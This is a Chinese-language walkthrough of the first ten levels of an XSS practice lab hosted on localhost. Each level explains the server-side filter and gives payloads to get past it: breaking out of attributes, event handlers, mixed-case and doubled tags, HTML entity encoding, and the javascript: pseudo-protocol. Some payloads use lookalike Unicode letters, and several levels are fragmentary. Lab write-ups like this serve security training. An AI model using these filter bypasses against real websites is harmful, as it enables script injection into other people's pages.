第一关
第一关超级简单直接插入常规表单
http://127.0.0.1:8086/xss/level1.php?name=<script>alert("xss")</script>
第二关(html实体转换过滤)
源码分析
运用了htmlspecialchars函数,htmlspecialchars — 将特殊字符转换为 HTML 实体,本函数会返回字符转义后的表示。
运用此函数的意思就是将
http://127.0.0.1:8086/xss/level2.php?keyword="><script>alert("xss")</script>
发现成功了
或者
"><img src="#" οnerrοr=alert(/xss/)>
第三关(单引号事件型)
源码分析
发现进行了双层html实体过滤
闭合后也不好使了,是不是需要换一个标签呢
对我们换一个构造事件的标签
第一种方法
因为后边是单引号闭合,所以将事件用单引号闭合
http://127.0.0.1:8086/xss/level3.php?keyword='οnclick='alert(1)
第二种方法
'οnmοuseοver='javascript:alert(1)
第四关(双引号事件型)
源码分析
str_replace — 子字符串替换(函数直接过滤掉<>,)
将传入的字符串进行了双层替换<>
然后下边又调用了HTML实体函数
其实这些都没什么我们用事件函数就行了
我们看到闭合也是双引号
第一种方法
http://127.0.0.1:8086/xss/level4.php?keyword="οnclick="alert(1)
http://127.0.0.1:8086/xss/level4.php?keyword="οnmοuseοver="javascript:alert(1)
第五关(javascript伪协议)
源码分析
第一行就是用的和第四关一样的函数将
第六关(大小写绕过)
源码分析,可以看到,将
"><sCRiPt>alert("xss")</sCRipT>
先闭合,在进行大小写绕过
第七关(双写绕过)
源码分析
其实这关的代码和上一关的差不多,只不过把所有标签全替换为空格了,我们只能 双写绕过了
"><scrscriptipt>alert("xss")</scrscriptipt>
第八关(就语句进行html编码就可以)
源码分析,基于上一关,又将双引号给过滤了
然后下边有个友情连接的标签
由于会被htmlspecialchars函数转义,所以可将所有字符编码为HTML实体,从而绕过。
直接将语句给html编码就能过
javascript:alert(/xss/)
javascript:alert(/xss/)
第九关()
源码分析
strpos 函数— 查找字符串首次出现的位置
他查找的是http://,所以我们就得加http://标签才能让他报错,输出下边的语句,不过还得编码绕过
javascript:alert(/xss/)//http://
第十关()
源码分析
在前端中修改
将type改成type="test" onclick="alert(1)"